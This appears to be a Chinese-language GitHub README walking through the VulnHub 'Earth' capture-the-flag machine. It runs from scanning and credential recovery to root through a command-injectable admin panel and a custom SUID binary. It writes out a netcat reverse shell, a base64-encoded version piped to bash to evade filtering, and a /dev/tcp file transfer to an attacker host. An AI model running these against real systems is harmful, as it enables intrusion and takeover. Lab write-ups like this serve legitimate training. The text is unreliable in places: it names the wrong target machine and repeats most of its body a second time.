Jeet-Bandhara/Vulnhub-Earth-Walkthrough
GitHub: Jeet-Bandhara/Vulnhub-Earth-Walkthrough
一份完整的VulnHub Earth靶机渗透攻略,以结构化方式演示了从信息收集到获取root权限的完整攻击链路。
Stars: 0 | Forks: 0
# 🔐Vulnhub-Earth-Walkthrough
🎯 本篇攻略演示了一种结构化的方法,涵盖了信息收集、漏洞利用和权限提升。
## 📌 概述
- **靶机:** DriftingBlues: 7
- **平台:** VulnHub
- **目标:** 获取 root 权限
本项目演示了完整的渗透测试生命周期,主要侧重于:
- 深度信息收集
- 凭据发现
- 漏洞利用链
- 获取 root 权限
## 🧠 方法论
```
flowchart LR
A[Reconnaissance] --> B[Enumeration]
B --> C[Credential Discovery]
C --> D[Exploitation]
D --> E[Privilege Escalation]
E --> F[Root Access]
```
## 🌐 网络发现
我们将首先借助 netdiscover 工具发现受害目标的 IP 地址。
**命令:** sudo netdiscover -r
**目标 IP:** 192.168.56.107
**为什么要这样做:**
- 识别网络上的活动主机。
- 在扫描之前检测易受攻击的虚拟机。
## 🔎 端口扫描
找到 IP 地址后,我们现在将使用 nmap 扫描此机器上运行的所有开放端口和服务。
**命令:** sudo nmap -Pn -sS -sV
| 端口 | 服务 |
| ---- | ------------- |
| 22 | SSH |
| 80 | HTTP |
| 443 | HTTPS |
## 🧪 信息收集
**🌍 Web 信息收集**
访问 HTTPS 服务揭示了一个自签名证书,其中包含:
- earth.local
- terratest.earth.local
**为什么这很重要:**
SSL 证书经常会泄露:
- 内部域名
- 子域名
- 基础设施命名约定
**更新 Host 文件**
现在我将使用这两个 DNS 更新我的 Kali 机器的 host 文件,以便能够进行访问。
**命令:** sudo nano /etc/hosts
**已添加:**
- earth.local
- terratest.earth.local
## 📂 目录枚举
枚举 HTTP 服务
**命令:** gobuster dir -u http://earth.local -w /usr/share/wordlists/dirb/directory-medium-2.3.txt
**发现结果:** /admin
**为什么这很重要:**
管理门户通常是高价值目标,它们可能会:
- 暴露登录功能
- 泄露敏感特性
- 允许远程代码执行
所以我访问了 /admin 目录,并发现了管理员登录面板。
枚举 HTTPS 服务
**命令:** gobuster dir -u https://terratest.earth.local -k -w /usr/share/wordlists/dirb/directory-medium-2.3.txt
**发现结果:** robots.txt
打开 robots.txt 后,我发现了一个有趣的条目,即 /testingnotes.txt
**为什么这很重要:**
配置不当的 robots.txt 文件可能会无意中暴露:
- 隐藏目录
- 开发者笔记
- 敏感测试数据
## 📜 信息泄露
访问 testingnotes.txt
**泄露的信息:**
- 使用了 XOR 加密
- 用户名: terra
- 加密密钥保存在 testdata.txt 中
## 🔓 凭据恢复
使用 Hex 解码和来自 testdata.txt 的 XOR 加密密钥。
恢复的凭据:
- 用户名: terra
- 密码: earthclimatechangebad4humans
## 🔐 认证与命令执行
现在我有了管理员登录面板的凭据,我将使用这些凭据进行登录。
使用恢复的凭据成功通过身份验证。
**命令注入能力**
管理面板允许执行任意命令。
**为什么这很关键:**
未经处理的命令执行可以直接导致:
- 远程代码执行
- 反弹 Shell
- 服务器被完全攻陷
## 💣 反弹 Shell
现在我将使用 netcat 工具连接到我们的目标机器。在 CLI 命令窗口中使用以下命令:
**命令:** nc -e /bin/bash 192.168.56.102 4444
在 CLI 命令窗口中运行该命令之前,请首先在你的 Kali 机器上监听 4444 端口。
**命令:** nc -lvp 4444
在运行 CLI 命令后,我发现远程连接被禁止了,因此我需要加密 netcat 命令并强制对其进行解密。
使用以下命令进行加密:
**命令:** echo 'nc -e /bin/bash 192.168.56.102 4444' | base64
现在将字符串复制到 CLI 命令中并对其进行解密。
**命令:** echo 'put_your_encoded_string_here' | base64 -d | bash
如你所见,我已经借助 netcat 连接到了我们的目标机器。
## 🧑💻 Shell 稳定化
运行以下 python 命令以稳定 Shell:
**命令:** python3 -c 'import pty; pty.spawn("/bin/bash")'
**为什么要这样做:**
一个稳定的 Shell 允许:
- 更好的命令交互
- 使用 Sudo
- 交互式 Shell 功能
## 🚀 权限提升
**SUID 枚举**
现在我将尝试查找目标机器上是否存在任何薄弱的文件权限。
**命令:** find / -perm -u=s -type f 2>/dev/null
**发现有趣的二进制文件:** /usr/bin/reset_root
现在我将尝试检查文件信息。
**命令:** file /usr/bin/reset_root
**命令:** reset_root
**结果:** 检查失败
可疑的自定义 SUID 二进制文件通常是可以被利用的。
我发现该文件不可执行,因为我遇到了一个错误。
## 🔬 二进制文件提取与分析
我首先会将这个文件发送到我们的 Kali 机器上,为此,请在你的 Kali 机器上启动 netcat 监听器。
**命令:** nc -lvnp 3333 > reset_root(在你的 Kali 机器上)
在目标机器上的另一个 netcat 会话中,运行此命令将文件发送到 Kali 机器。
**命令:** cat /usr/bin/reset_root > /dev/tcp/192.168.56.102/3333(在你的目标机器上)
现在文件已经到了我们的 Kali 机器上,我将使用 ltrace 工具来分析该文件,因此首先我需要使用 chmod 命令为 reset_root 文件添加执行权限。
**命令:** chmod +x ./reset_root
然后运行 ltrace 工具。
**命令:** ltrace ./reset_root
**发现结果:**
目标机器上缺失了 3 个文件,这就是文件未能执行的原因。
- /dev/shm/kHgTFI5G
- /dev/shm/Zw7bV9U5
- /tmp/kcM0Wewe
## 🔓 触发权限提升
现在我将使用 touch 命令将此文件添加到目标机器。
**命令:** touch
现在,添加此文件后,我们将运行 reset_root 文件。
**Root 密码重置成功**
## 👑 Root 访问
Root 密码已成功重置为 Earth。让我们登录 root 账号。
**命令:** su root
成功以 root 身份登录。要获取 root flag,请进入 root 目录并使用 cat 命令打开。
**命令:** cat /root/root_flag.txt
成功攻陷 root 权限。
## ⚔️ Mitre Attack 映射
| 阶段 | 技术 |
| -------------------- | ------------------------------------- |
| 侦察 | 主动扫描 |
| 发现 | 文件和目录发现 |
| 凭据访问 | 来自密码存储的凭据 |
| 初始访问 | 有效账户 |
| 执行 | 命令和脚本解释器 |
| 持久化 | 账户操纵 |
| 权限提升 | 利用进行权限提升 |
## 🧠 核心学习要点
- SSL 证书可能会泄露有价值的基础设施信息
- robots.txt 可能会暴露敏感的开发文件
- 薄弱的加密做法可能导致凭据泄露
- 未经处理的命令执行会导致 RCE
- 应始终仔细分析自定义的 SUID 二进制文件
## 🛡️ 安全建议
- 限制对敏感文件的公开访问
- 避免公开暴露加密密钥
- 验证并处理命令执行的输入
- 将自签名证书替换为受信任的 CA 证书
- 审计自定义 SUID 二进制文件中是否存在不安全的逻辑
## 🛠️ 使用的工具
- Nmap
- Gobuster
- Cyberchef
- Netcat
- Ltrace
## 👨💻 作者
**Jeet Bandhara**
- https://github.com/Jeet-Bandhara?utm_source=chatgpt.com
- https://medium.com/@bndjeet11
**目标 IP:** 192.168.56.107
**为什么要这样做:**
- 识别网络上的活动主机。
- 在扫描之前检测易受攻击的虚拟机。
## 🔎 端口扫描
找到 IP 地址后,我们现在将使用 nmap 扫描此机器上运行的所有开放端口和服务。
**命令:** sudo nmap -Pn -sS -sV
| 端口 | 服务 |
| ---- | ------------- |
| 22 | SSH |
| 80 | HTTP |
| 443 | HTTPS |
## 🧪 信息收集
**🌍 Web 信息收集**
访问 HTTPS 服务揭示了一个自签名证书,其中包含:
- earth.local
- terratest.earth.local
**为什么这很重要:**
SSL 证书经常会泄露:
- 内部域名
- 子域名
- 基础设施命名约定
**更新 Host 文件**
现在我将使用这两个 DNS 更新我的 Kali 机器的 host 文件,以便能够进行访问。
**命令:** sudo nano /etc/hosts
**已添加:**
- earth.local
- terratest.earth.local
## 📂 目录枚举
枚举 HTTP 服务
**命令:** gobuster dir -u http://earth.local -w /usr/share/wordlists/dirb/directory-medium-2.3.txt
**发现结果:** /admin
**为什么这很重要:**
管理门户通常是高价值目标,它们可能会:
- 暴露登录功能
- 泄露敏感特性
- 允许远程代码执行
所以我访问了 /admin 目录,并发现了管理员登录面板。
枚举 HTTPS 服务
**命令:** gobuster dir -u https://terratest.earth.local -k -w /usr/share/wordlists/dirb/directory-medium-2.3.txt
**发现结果:** robots.txt
打开 robots.txt 后,我发现了一个有趣的条目,即 /testingnotes.txt
**为什么这很重要:**
配置不当的 robots.txt 文件可能会无意中暴露:
- 隐藏目录
- 开发者笔记
- 敏感测试数据
## 📜 信息泄露
访问 testingnotes.txt
**泄露的信息:**
- 使用了 XOR 加密
- 用户名: terra
- 加密密钥保存在 testdata.txt 中
## 🔓 凭据恢复
使用 Hex 解码和来自 testdata.txt 的 XOR 加密密钥。
恢复的凭据:
- 用户名: terra
- 密码: earthclimatechangebad4humans
## 🔐 认证与命令执行
现在我有了管理员登录面板的凭据,我将使用这些凭据进行登录。
使用恢复的凭据成功通过身份验证。
**命令注入能力**
管理面板允许执行任意命令。
**为什么这很关键:**
未经处理的命令执行可以直接导致:
- 远程代码执行
- 反弹 Shell
- 服务器被完全攻陷
## 💣 反弹 Shell
现在我将使用 netcat 工具连接到我们的目标机器。在 CLI 命令窗口中使用以下命令:
**命令:** nc -e /bin/bash 192.168.56.102 4444
在 CLI 命令窗口中运行该命令之前,请首先在你的 Kali 机器上监听 4444 端口。
**命令:** nc -lvp 4444
在运行 CLI 命令后,我发现远程连接被禁止了,因此我需要加密 netcat 命令并强制对其进行解密。
使用以下命令进行加密:
**命令:** echo 'nc -e /bin/bash 192.168.56.102 4444' | base64
现在将字符串复制到 CLI 命令中并对其进行解密。
**命令:** echo 'put_your_encoded_string_here' | base64 -d | bash
如你所见,我已经借助 netcat 连接到了我们的目标机器。
## 🧑💻 Shell 稳定化
运行以下 python 命令以稳定 Shell:
**命令:** python3 -c 'import pty; pty.spawn("/bin/bash")'
**为什么要这样做:**
一个稳定的 Shell 允许:
- 更好的命令交互
- 使用 Sudo
- 交互式 Shell 功能
## 🚀 权限提升
**SUID 枚举**
现在我将尝试查找目标机器上是否存在任何薄弱的文件权限。
**命令:** find / -perm -u=s -type f 2>/dev/null
**发现有趣的二进制文件:** /usr/bin/reset_root
现在我将尝试检查文件信息。
**命令:** file /usr/bin/reset_root
**命令:** reset_root
**结果:** 检查失败
可疑的自定义 SUID 二进制文件通常是可以被利用的。
我发现该文件不可执行,因为我遇到了一个错误。
## 🔬 二进制文件提取与分析
我首先会将这个文件发送到我们的 Kali 机器上,为此,请在你的 Kali 机器上启动 netcat 监听器。
**命令:** nc -lvnp 3333 > reset_root(在你的 Kali 机器上)
在目标机器上的另一个 netcat 会话中,运行此命令将文件发送到 Kali 机器。
**命令:** cat /usr/bin/reset_root > /dev/tcp/192.168.56.102/3333(在你的目标机器上)
现在文件已经到了我们的 Kali 机器上,我将使用 ltrace 工具来分析该文件,因此首先我需要使用 chmod 命令为 reset_root 文件添加执行权限。
**命令:** chmod +x ./reset_root
然后运行 ltrace 工具。
**命令:** ltrace ./reset_root
**发现结果:**
目标机器上缺失了 3 个文件,这就是文件未能执行的原因。
- /dev/shm/kHgTFI5G
- /dev/shm/Zw7bV9U5
- /tmp/kcM0Wewe
## 🔓 触发权限提升
现在我将使用 touch 命令将此文件添加到目标机器。
**命令:** touch
现在,添加此文件后,我们将运行 reset_root 文件。
**Root 密码重置成功**
## 👑 Root 访问
Root 密码已成功重置为 Earth。让我们登录 root 账号。
**命令:** su root
成功以 root 身份登录。要获取 root flag,请进入 root 目录并使用 cat 命令打开。
**命令:** cat /root/root_flag.txt
成功攻陷 root 权限。
## ⚔️ Mitre Attack 映射
| 阶段 | 技术 |
| -------------------- | ------------------------------------- |
| 侦察 | 主动扫描 |
| 发现 | 文件和目录发现 |
| 凭据访问 | 来自密码存储的凭据 |
| 初始访问 | 有效账户 |
| 执行 | 命令和脚本解释器 |
| 持久化 | 账户操纵 |
| 权限提升 | 利用进行权限提升 |
## 🧠 核心学习要点
- SSL 证书可能会泄露有价值的基础设施信息
- robots.txt 可能会暴露敏感的开发文件
- 薄弱的加密做法可能导致凭据泄露
- 未经处理的命令执行会导致 RCE
- 应始终仔细分析自定义的 SUID 二进制文件
## 🛡️ 安全建议
- 限制对敏感文件的公开访问
- 避免公开暴露加密密钥
- 验证并处理命令执行的输入
- 将自签名证书替换为受信任的 CA 证书
- 审计自定义 SUID 二进制文件中是否存在不安全的逻辑
## 🛠️ 使用的工具
- Nmap
- Gobuster
- Cyberchef
- Netcat
- Ltrace
## 👨💻 作者
**Jeet Bandhara**
- https://github.com/Jeet-Bandhara?utm_source=chatgpt.com
- https://medium.com/@bndjeet11标签:CISA项目, CTI, HTTPS, Netdiscover, Nmap, SSH, SSL证书解析, VulnHub, Web报告查看器, Web枚举, 协议分析, 安全攻防, 提权, 插件系统, 权限提升, 枚举, 网络安全, 获取根权限, 虚拟驱动器, 逆向工具, 隐私保护, 靶机演练